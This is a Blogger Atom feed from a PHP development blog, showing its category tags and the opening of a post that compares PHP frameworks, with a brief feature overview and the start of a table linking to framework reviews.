<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:blogger='http://schemas.google.com/blogger/2008' xmlns:georss='http://www.georss.org/georss' xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-3138548880507154050</id><updated>2026-08-16T03:09:07.748-07:00</updated><category term="yii"/><category term="PHP"/><category term="css"/><category term="jquery"/><category term="password strength"/><category term="15 Tips and tricks"/><category term="3 Firefox Plugins To Test Your Website In Different Resolutions"/><category term="30+ PHP Best Practice"/><category term="40 Seriously Awesome MooTools Tutorials and Plugins"/><category term="45 Fresh Useful JavaScript and jQuery Techniques and Tools"/><category term="5 Tricks"/><category term="A Lesson In Static Methods And Late Static Binding"/><category term="APC"/><category term="Android Development"/><category term="Apache MySQL PHP  Ubuntu"/><category term="Apache Rewrite"/><category term="Authentication"/><category term="Authorization"/><category term="Basic Branching and Merging"/><category term="Beginners"/><category term="Behaviors"/><category term="Blog"/><category term="CMultiFileUpload"/><category term="Chrome"/><category term="Common Security Mistakes in Web Applications"/><category term="Commonly Confused Bits Of jQuery"/><category term="Create your own Validation Rule"/><category term="Designing Websites For All Screen Resolutions"/><category term="Display Solutions"/><category term="Drupal"/><category term="Easy approach: inside-model rule"/><category term="Eclipse"/><category term="Entering The Wonderful World of Geo Location"/><category term="Events"/><category term="FTP"/><category term="Facebook"/><category term="Fresh jQuery Image"/><category term="Gallery"/><category term="Get Started Developing for Android with Eclipse"/><category term="Getting started with CouchDB: a beginner’s guide"/><category term="HAS_MANY"/><category term="HTML"/><category term="How To"/><category term="How to Install PHP 5 on Linux"/><category term="How to create a Yii Behavior"/><category term="How to work with flash messages"/><category term="Image"/><category term="Impersonate"/><category term="Increase Google Page Rank"/><category term="Installing Git"/><category term="Installing Yii"/><category term="Introduction to DNS: Explaining The Dreaded DNS Delay"/><category term="Keeping Web Users Safe By Sanitizing Input Data"/><category term="Learning oEmbed: Convert Links Into Embedded Content"/><category term="Libraries"/><category term="Login"/><category term="Opt-in vs. Confirmed Opt-in vs. Double Opt-in"/><category term="PDO vs. MySQLi: Which Should You Use?"/><category term="PHP Basic Cach"/><category term="PHP Caching"/><category term="PHP Caching to Speed up Dynamically Generated Sites"/><category term="PHP Image Watermaek"/><category term="PHP Integration with Salesforce CRM"/><category term="PHP design patterns"/><category term="PHP interview questions and answers"/><category term="Plugins"/><category term="Print Style Sheet"/><category term="Proftp"/><category term="SQL Injection Attacks by Example"/><category term="Safari"/><category term="Setup A Ubuntu VPS For Hosting Ruby On Rails Applications"/><category term="Speeding Up Your Website’s Database"/><category term="Text"/><category term="Twitter"/><category term="Understanding Scenarios"/><category term="Useful JavaScript and jQuery Tools"/><category term="Users within Yii Framework"/><category term="Validation scenarios"/><category term="View"/><category term="Watermark"/><category term="WebDesign"/><category term="Writing the Perfect jQuery Plugin"/><category term="Yii Framework"/><category term="Yii Framework Video Tutorial"/><category term="ajax"/><category term="asrick"/><category term="checkbox"/><category term="cracked  php jquerygrid"/><category term="git"/><category term="git checkout"/><category term="git tags"/><category term="jQuery plug-in"/><category term="javascript"/><category term="jquerygrid"/><category term="label"/><category term="mailchimp"/><category term="oEmbed"/><category term="odesk"/><category term="odesk answers"/><category term="override required"/><category term="php5"/><category term="plugin"/><category term="relationship"/><category term="renderPartial"/><category term="strength"/><category term="style"/><category term="the best git tutorials"/><category term="ubuntu"/><category term="uploading file"/><category term="zend framework videos"/><title type='text'>PHP Development - linux admin  - YII - ZEND - codeignitor</title><subtitle type='html'>PHP, LAMP Technologies.end in E-Commerce and Enterprise applications. MySQL,  Jquery , AJAX,   WordPress, Joomla -Virtuemart, Oscommerce  Smarty , Postgres,  XML/ XHTML, XSLT, Webservices, Google Maps, JQuery, Apache server  Social Networking,  Web Services and API development.PHP Frameworks :Zend , symfony , codeignitor , smarty , kohanaDrupal , joomla  , wordpress&#xa;linux administration &#xa;Expert in Ubuntu , Centos, Fedora, Debian, Red Hat .</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://haythamhosney.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3138548880507154050/posts/default?redirect=false'/><link rel='alternate' type='text/html' href='http://haythamhosney.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/3138548880507154050/posts/default?start-index=26&amp;max-results=25&amp;redirect=false'/><author><name>haytham Hosney</name><uri>http://www.blogger.com/profile/08973214026428213555</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>81</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-3138548880507154050.post-8646554697361244267</id><published>2015-12-01T13:19:00.000-08:00</published><updated>2015-12-01T13:19:15.881-08:00</updated><title type='text'>PHP frameworks comparison</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div id=&quot;description&quot;&gt;
&lt;div class=&quot;&quot; id=&quot;v0_5&quot; title=&quot;&quot;&gt;
&lt;h3 style=&quot;text-align: center;&quot;&gt;
&lt;b style=&quot;text-align: left;&quot;&gt;&lt;br /&gt;&lt;/b&gt;&lt;/h3&gt;
&lt;h3 style=&quot;text-align: center;&quot;&gt;
&lt;b style=&quot;text-align: left;&quot;&gt;PHP frameworks comparison&lt;/b&gt;&lt;/h3&gt;
&lt;strong&gt;Comparison chart of the stable versions of best PHP
frameworks&lt;/strong&gt; in order to help you to choose the PHP
framework adapted to your specific needs: Agile Toolkit vs Banshee
vs CakePHP vs CakePHP2 vs CodeIgniter vs Fat-Free vs FuelPHP vs
Jelix vs Kohana vs Laravel vs Lithium vs Mako vs MkFramework vs PPI
Framework vs Solar vs Symfony vs Symfony2 vs Yii vs Zend Framework
vs Zend Framework 2 vs Zikula.&lt;br /&gt;
&lt;h2&gt;
Features&lt;/h2&gt;
This part in the comparison table try to summarize the important
features of the main PHP frameworks.&lt;br /&gt;
&lt;b&gt;Object-relational mapping (ORM)&lt;/b&gt; are components that helps
you to transform your databases access in a more friendly object
oriented manner. Instead of manipulating records, you manipulate
objects and could most of the time forget about all the SQL queries
that goes behind the scene.&lt;br /&gt;
&lt;b&gt;Code generation&lt;/b&gt; make developers life easier by creating
files and default content automatically so you don&#39;t have to.&lt;br /&gt;
&lt;b&gt;Edge Side Includes (ESI)&lt;/b&gt; allows, with a compliant gateway
cache, to cache a page fully and to update only parts of the page
that have changed.&lt;br /&gt;
&lt;h2&gt;
Resources&lt;/h2&gt;
This section is an important part, it helps you to directly go
to the section essential when using a new framework: the tutorials
and documentation. Have a look at the tutorial and documentation to
get a quick view at the code verbosity, and the documentation
quality.&lt;br /&gt;
Do not hesitate to add comparison criteria, other PHP Framework
or simply leave a comment or rate the framework you know...&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;overflowWrapper&quot;&gt;
&lt;div id=&quot;table&quot;&gt;
&lt;div class=&quot;borderTop&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;showSave saveNo noGraphic&quot; id=&quot;tableHolder&quot;&gt;
&lt;div id=&quot;t&quot;&gt;
&lt;table class=&quot;s-t&quot;&gt;&lt;thead&gt;
&lt;tr&gt;&lt;td class=&quot;&quot; id=&quot;v6_1&quot;&gt;&lt;dfn class=&quot;action scact-44 graphic&quot; title=&quot;Graphic view&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;action scact-43 add&quot; title=&quot;Add&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;action scact-35 save&quot; title=&quot;Save&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;action scact-31 rotate&quot; title=&quot;Rotate&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;action scact-30 restore&quot; title=&quot;Restore&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;sort action scact-51 sca-v6_1-e&quot; title=&quot;sort&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;th class=&quot;item&quot; id=&quot;v45_6&quot;&gt;&lt;dfn class=&quot;l&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;r&quot;&gt;&lt;/dfn&gt;&lt;br /&gt;
&lt;div class=&quot;actions&quot;&gt;
&lt;dfn class=&quot;move&quot; title=&quot;Drag-and-drop to reorganize rows or columns&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;suggest action scact-52 sca-v45_6-e&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;scHide action scact-50 sca-v45_6-e&quot; title=&quot;Hide&quot;&gt;&lt;/dfn&gt;&lt;/div&gt;
&lt;a href=&quot;http://socialcompare.com/en/review/agile-toolkit&quot; target=&quot;_top&quot;&gt;Agile Toolkit&lt;/a&gt;&lt;/th&gt;&lt;th class=&quot;item&quot; id=&quot;v46_6&quot;&gt;&lt;dfn class=&quot;l&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;r&quot;&gt;&lt;/dfn&gt;&lt;br /&gt;
&lt;div class=&quot;actions&quot;&gt;
&lt;dfn class=&quot;move&quot; title=&quot;Drag-and-drop to reorganize rows or columns&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;suggest action scact-52 sca-v46_6-e&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;scHide action scact-50 sca-v46_6-e&quot; title=&quot;Hide&quot;&gt;&lt;/dfn&gt;&lt;/div&gt;
&lt;a href=&quot;http://socialcompare.com/en/review/banshee&quot; target=&quot;_top&quot;&gt;Banshee&lt;/a&gt;&lt;/th&gt;&lt;th class=&quot;item&quot; id=&quot;v47_6&quot;&gt;&lt;dfn class=&quot;l&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;r&quot;&gt;&lt;/dfn&gt;&lt;br /&gt;
&lt;div class=&quot;actions&quot;&gt;
&lt;dfn class=&quot;move&quot; title=&quot;Drag-and-drop to reorganize rows or columns&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;suggest action scact-52 sca-v47_6-e&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;scHide action scact-50 sca-v47_6-e&quot; title=&quot;Hide&quot;&gt;&lt;/dfn&gt;&lt;/div&gt;
&lt;a href=&quot;http://socialcompare.com/en/review/cakephp2&quot; target=&quot;_top&quot;&gt;CakePHP2&lt;/a&gt;&lt;/th&gt;&lt;th class=&quot;item&quot; id=&quot;v48_6&quot;&gt;&lt;dfn class=&quot;l&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;r&quot;&gt;&lt;/dfn&gt;&lt;br /&gt;
&lt;div class=&quot;actions&quot;&gt;
&lt;dfn class=&quot;move&quot; title=&quot;Drag-and-drop to reorganize rows or columns&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;suggest action scact-52 sca-v48_6-e&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;scHide action scact-50 sca-v48_6-e&quot; title=&quot;Hide&quot;&gt;&lt;/dfn&gt;&lt;/div&gt;
&lt;a href=&quot;http://socialcompare.com/en/review/clancatsframework&quot; target=&quot;_top&quot;&gt;ClanCatsFramework&lt;/a&gt;&lt;/th&gt;&lt;th class=&quot;item&quot; id=&quot;v49_6&quot;&gt;&lt;dfn class=&quot;l&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;r&quot;&gt;&lt;/dfn&gt;&lt;br /&gt;
&lt;div class=&quot;actions&quot;&gt;
&lt;dfn class=&quot;move&quot; title=&quot;Drag-and-drop to reorganize rows or columns&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;suggest action scact-52 sca-v49_6-e&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;scHide action scact-50 sca-v49_6-e&quot; title=&quot;Hide&quot;&gt;&lt;/dfn&gt;&lt;/div&gt;
&lt;a href=&quot;http://socialcompare.com/en/review/codeigniter&quot; target=&quot;_top&quot;&gt;CodeIgniter&lt;/a&gt;&lt;/th&gt;&lt;th class=&quot;item&quot; id=&quot;v50_6&quot;&gt;&lt;dfn class=&quot;l&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;r&quot;&gt;&lt;/dfn&gt;&lt;br /&gt;
&lt;div class=&quot;actions&quot;&gt;
&lt;dfn class=&quot;move&quot; title=&quot;Drag-and-drop to reorganize rows or columns&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;suggest action scact-52 sca-v50_6-e&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;scHide action scact-50 sca-v50_6-e&quot; title=&quot;Hide&quot;&gt;&lt;/dfn&gt;&lt;/div&gt;
&lt;a href=&quot;http://socialcompare.com/en/review/codeigniter&quot; target=&quot;_top&quot;&gt;CodeIgniter&lt;/a&gt;&lt;/th&gt;&lt;th class=&quot;item&quot; id=&quot;v51_6&quot;&gt;&lt;dfn class=&quot;l&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;r&quot;&gt;&lt;/dfn&gt;&lt;br /&gt;
&lt;div class=&quot;actions&quot;&gt;
&lt;dfn class=&quot;move&quot; title=&quot;Drag-and-drop to reorganize rows or columns&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;suggest action scact-52 sca-v51_6-e&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;scHide action scact-50 sca-v51_6-e&quot; title=&quot;Hide&quot;&gt;&lt;/dfn&gt;&lt;/div&gt;
&lt;a href=&quot;http://socialcompare.com/en/review/fat-free-php-framework&quot; target=&quot;_top&quot;&gt;Fat-Free (F3)&lt;/a&gt;&lt;/th&gt;&lt;th class=&quot;item&quot; id=&quot;v52_6&quot;&gt;&lt;dfn class=&quot;l&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;r&quot;&gt;&lt;/dfn&gt;&lt;br /&gt;
&lt;div class=&quot;actions&quot;&gt;
&lt;dfn class=&quot;move&quot; title=&quot;Drag-and-drop to reorganize rows or columns&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;suggest action scact-52 sca-v52_6-e&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;scHide action scact-50 sca-v52_6-e&quot; title=&quot;Hide&quot;&gt;&lt;/dfn&gt;&lt;/div&gt;
&lt;a href=&quot;http://socialcompare.com/en/review/fuelphp-framework&quot; target=&quot;_top&quot;&gt;FuelPHP&lt;/a&gt;&lt;/th&gt;&lt;th class=&quot;item&quot; id=&quot;v53_6&quot;&gt;&lt;dfn class=&quot;l&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;r&quot;&gt;&lt;/dfn&gt;&lt;br /&gt;
&lt;div class=&quot;actions&quot;&gt;
&lt;dfn class=&quot;move&quot; title=&quot;Drag-and-drop to reorganize rows or columns&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;suggest action scact-52 sca-v53_6-e&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;scHide action scact-50 sca-v53_6-e&quot; title=&quot;Hide&quot;&gt;&lt;/dfn&gt;&lt;/div&gt;
&lt;a href=&quot;http://socialcompare.com/en/review/jelix-php-framework&quot; target=&quot;_top&quot;&gt;Jelix&lt;/a&gt;&lt;/th&gt;&lt;th class=&quot;item&quot; id=&quot;v54_6&quot;&gt;&lt;dfn class=&quot;l&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;r&quot;&gt;&lt;/dfn&gt;&lt;br /&gt;
&lt;div class=&quot;actions&quot;&gt;
&lt;dfn class=&quot;move&quot; title=&quot;Drag-and-drop to reorganize rows or columns&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;suggest action scact-52 sca-v54_6-e&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;scHide action scact-50 sca-v54_6-e&quot; title=&quot;Hide&quot;&gt;&lt;/dfn&gt;&lt;/div&gt;
&lt;a href=&quot;http://socialcompare.com/en/review/kohana&quot; target=&quot;_top&quot;&gt;Kohana&lt;/a&gt;&lt;/th&gt;&lt;th class=&quot;item&quot; id=&quot;v55_6&quot;&gt;&lt;dfn class=&quot;l&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;r&quot;&gt;&lt;/dfn&gt;&lt;br /&gt;
&lt;div class=&quot;actions&quot;&gt;
&lt;dfn class=&quot;move&quot; title=&quot;Drag-and-drop to reorganize rows or columns&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;suggest action scact-52 sca-v55_6-e&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;scHide action scact-50 sca-v55_6-e&quot; title=&quot;Hide&quot;&gt;&lt;/dfn&gt;&lt;/div&gt;
&lt;a href=&quot;http://socialcompare.com/en/review/laravel-framework-php&quot; target=&quot;_top&quot;&gt;Laravel&lt;/a&gt;&lt;/th&gt;&lt;th class=&quot;item&quot; id=&quot;v56_6&quot;&gt;&lt;dfn class=&quot;l&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;r&quot;&gt;&lt;/dfn&gt;&lt;br /&gt;
&lt;div class=&quot;actions&quot;&gt;
&lt;dfn class=&quot;move&quot; title=&quot;Drag-and-drop to reorganize rows or columns&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;suggest action scact-52 sca-v56_6-e&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;scHide action scact-50 sca-v56_6-e&quot; title=&quot;Hide&quot;&gt;&lt;/dfn&gt;&lt;/div&gt;
&lt;a href=&quot;http://socialcompare.com/en/review/laravel-framework-php&quot; target=&quot;_top&quot;&gt;Laravel&lt;/a&gt;&lt;/th&gt;&lt;th class=&quot;item&quot; id=&quot;v57_6&quot;&gt;&lt;dfn class=&quot;l&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;r&quot;&gt;&lt;/dfn&gt;&lt;br /&gt;
&lt;div class=&quot;actions&quot;&gt;
&lt;dfn class=&quot;move&quot; title=&quot;Drag-and-drop to reorganize rows or columns&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;suggest action scact-52 sca-v57_6-e&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;scHide action scact-50 sca-v57_6-e&quot; title=&quot;Hide&quot;&gt;&lt;/dfn&gt;&lt;/div&gt;
&lt;a href=&quot;http://socialcompare.com/en/review/mako-php-framework&quot; target=&quot;_top&quot;&gt;Mako&lt;/a&gt;&lt;/th&gt;&lt;th class=&quot;item&quot; id=&quot;v58_6&quot;&gt;&lt;dfn class=&quot;l&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;r&quot;&gt;&lt;/dfn&gt;&lt;br /&gt;
&lt;div class=&quot;actions&quot;&gt;
&lt;dfn class=&quot;move&quot; title=&quot;Drag-and-drop to reorganize rows or columns&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;suggest action scact-52 sca-v58_6-e&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;scHide action scact-50 sca-v58_6-e&quot; title=&quot;Hide&quot;&gt;&lt;/dfn&gt;&lt;/div&gt;
&lt;a href=&quot;http://socialcompare.com/en/review/mkframework-php&quot; target=&quot;_top&quot;&gt;MkFramework&lt;/a&gt;&lt;/th&gt;&lt;th class=&quot;item&quot; id=&quot;v59_6&quot;&gt;&lt;dfn class=&quot;l&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;r&quot;&gt;&lt;/dfn&gt;&lt;br /&gt;
&lt;div class=&quot;actions&quot;&gt;
&lt;dfn class=&quot;move&quot; title=&quot;Drag-and-drop to reorganize rows or columns&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;suggest action scact-52 sca-v59_6-e&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;scHide action scact-50 sca-v59_6-e&quot; title=&quot;Hide&quot;&gt;&lt;/dfn&gt;&lt;/div&gt;
&lt;a href=&quot;http://socialcompare.com/en/review/mouf-php&quot; target=&quot;_top&quot;&gt;Mouf&lt;/a&gt;&lt;/th&gt;&lt;th class=&quot;item&quot; id=&quot;v60_6&quot;&gt;&lt;dfn class=&quot;l&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;r&quot;&gt;&lt;/dfn&gt;&lt;br /&gt;
&lt;div class=&quot;actions&quot;&gt;
&lt;dfn class=&quot;move&quot; title=&quot;Drag-and-drop to reorganize rows or columns&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;suggest action scact-52 sca-v60_6-e&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;scHide action scact-50 sca-v60_6-e&quot; title=&quot;Hide&quot;&gt;&lt;/dfn&gt;&lt;/div&gt;
&lt;a href=&quot;http://socialcompare.com/en/review/openbiz-cubi-1kyopafc&quot; target=&quot;_top&quot;&gt;Openbiz Cubi&lt;/a&gt;&lt;/th&gt;&lt;th class=&quot;item&quot; id=&quot;v61_6&quot;&gt;&lt;dfn class=&quot;l&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;r&quot;&gt;&lt;/dfn&gt;&lt;br /&gt;
&lt;div class=&quot;actions&quot;&gt;
&lt;dfn class=&quot;move&quot; title=&quot;Drag-and-drop to reorganize rows or columns&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;suggest action scact-52 sca-v61_6-e&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;scHide action scact-50 sca-v61_6-e&quot; title=&quot;Hide&quot;&gt;&lt;/dfn&gt;&lt;/div&gt;
&lt;a href=&quot;http://socialcompare.com/en/review/phalcon-2k0br2ul&quot; target=&quot;_top&quot;&gt;phalcon&lt;/a&gt;&lt;/th&gt;&lt;th class=&quot;item&quot; id=&quot;v62_6&quot;&gt;&lt;dfn class=&quot;l&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;r&quot;&gt;&lt;/dfn&gt;&lt;br /&gt;
&lt;div class=&quot;actions&quot;&gt;
&lt;dfn class=&quot;move&quot; title=&quot;Drag-and-drop to reorganize rows or columns&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;suggest action scact-52 sca-v62_6-e&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;scHide action scact-50 sca-v62_6-e&quot; title=&quot;Hide&quot;&gt;&lt;/dfn&gt;&lt;/div&gt;
&lt;a href=&quot;http://socialcompare.com/en/review/phpixie&quot; target=&quot;_top&quot;&gt;PHPixie&lt;/a&gt;&lt;/th&gt;&lt;th class=&quot;item&quot; id=&quot;v63_6&quot;&gt;&lt;dfn class=&quot;l&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;r&quot;&gt;&lt;/dfn&gt;&lt;br /&gt;
&lt;div class=&quot;actions&quot;&gt;
&lt;dfn class=&quot;move&quot; title=&quot;Drag-and-drop to reorganize rows or columns&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;suggest action scact-52 sca-v63_6-e&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;scHide action scact-50 sca-v63_6-e&quot; title=&quot;Hide&quot;&gt;&lt;/dfn&gt;&lt;/div&gt;
&lt;a href=&quot;http://socialcompare.com/en/review/ppi-framework-11nibedu&quot; target=&quot;_top&quot;&gt;PPI Framework&lt;/a&gt;&lt;/th&gt;&lt;th class=&quot;item&quot; id=&quot;v64_6&quot;&gt;&lt;dfn class=&quot;l&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;r&quot;&gt;&lt;/dfn&gt;&lt;br /&gt;
&lt;div class=&quot;actions&quot;&gt;
&lt;dfn class=&quot;move&quot; title=&quot;Drag-and-drop to reorganize rows or columns&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;suggest action scact-52 sca-v64_6-e&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;scHide action scact-50 sca-v64_6-e&quot; title=&quot;Hide&quot;&gt;&lt;/dfn&gt;&lt;/div&gt;
&lt;a href=&quot;http://socialcompare.com/en/review/silex-framework&quot; target=&quot;_top&quot;&gt;Silex framework&lt;/a&gt;&lt;/th&gt;&lt;th class=&quot;item&quot; id=&quot;v65_6&quot;&gt;&lt;dfn class=&quot;l&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;r&quot;&gt;&lt;/dfn&gt;&lt;br /&gt;
&lt;div class=&quot;actions&quot;&gt;
&lt;dfn class=&quot;move&quot; title=&quot;Drag-and-drop to reorganize rows or columns&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;suggest action scact-52 sca-v65_6-e&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;scHide action scact-50 sca-v65_6-e&quot; title=&quot;Hide&quot;&gt;&lt;/dfn&gt;&lt;/div&gt;
&lt;a href=&quot;http://socialcompare.com/en/review/slim-framework-2pj5fxsu&quot; target=&quot;_top&quot;&gt;Slim framework&lt;/a&gt;&lt;/th&gt;&lt;th class=&quot;item&quot; id=&quot;v66_6&quot;&gt;&lt;dfn class=&quot;l&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;r&quot;&gt;&lt;/dfn&gt;&lt;br /&gt;
&lt;div class=&quot;actions&quot;&gt;
&lt;dfn class=&quot;move&quot; title=&quot;Drag-and-drop to reorganize rows or columns&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;suggest action scact-52 sca-v66_6-e&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;scHide action scact-50 sca-v66_6-e&quot; title=&quot;Hide&quot;&gt;&lt;/dfn&gt;&lt;/div&gt;
&lt;a href=&quot;http://socialcompare.com/en/review/solar-php-framework&quot; target=&quot;_top&quot;&gt;Solar&lt;/a&gt;&lt;/th&gt;&lt;th class=&quot;item&quot; id=&quot;v67_6&quot;&gt;&lt;dfn class=&quot;l&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;r&quot;&gt;&lt;/dfn&gt;&lt;br /&gt;
&lt;div class=&quot;actions&quot;&gt;
&lt;dfn class=&quot;move&quot; title=&quot;Drag-and-drop to reorganize rows or columns&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;suggest action scact-52 sca-v67_6-e&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;scHide action scact-50 sca-v67_6-e&quot; title=&quot;Hide&quot;&gt;&lt;/dfn&gt;&lt;/div&gt;
&lt;a href=&quot;http://socialcompare.com/en/review/symfony2&quot; target=&quot;_top&quot;&gt;Symfony2&lt;/a&gt;&lt;/th&gt;&lt;th class=&quot;item&quot; id=&quot;v68_6&quot;&gt;&lt;dfn class=&quot;l&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;r&quot;&gt;&lt;/dfn&gt;&lt;br /&gt;
&lt;div class=&quot;actions&quot;&gt;
&lt;dfn class=&quot;move&quot; title=&quot;Drag-and-drop to reorganize rows or columns&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;suggest action scact-52 sca-v68_6-e&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;scHide action scact-50 sca-v68_6-e&quot; title=&quot;Hide&quot;&gt;&lt;/dfn&gt;&lt;/div&gt;
&lt;a href=&quot;http://socialcompare.com/en/review/yii-php-framework&quot; target=&quot;_top&quot;&gt;Yii&lt;/a&gt;&lt;/th&gt;&lt;th class=&quot;item&quot; id=&quot;v69_6&quot;&gt;&lt;dfn class=&quot;l&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;r&quot;&gt;&lt;/dfn&gt;&lt;br /&gt;
&lt;div class=&quot;actions&quot;&gt;
&lt;dfn class=&quot;move&quot; title=&quot;Drag-and-drop to reorganize rows or columns&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;suggest action scact-52 sca-v69_6-e&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;scHide action scact-50 sca-v69_6-e&quot; title=&quot;Hide&quot;&gt;&lt;/dfn&gt;&lt;/div&gt;
&lt;a href=&quot;http://socialcompare.com/en/review/zend-framework-2&quot; target=&quot;_top&quot;&gt;Zend Framework 2&lt;/a&gt;&lt;/th&gt;&lt;th class=&quot;item&quot; id=&quot;v70_6&quot;&gt;&lt;dfn class=&quot;l&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;r&quot;&gt;&lt;/dfn&gt;&lt;br /&gt;
&lt;div class=&quot;actions&quot;&gt;
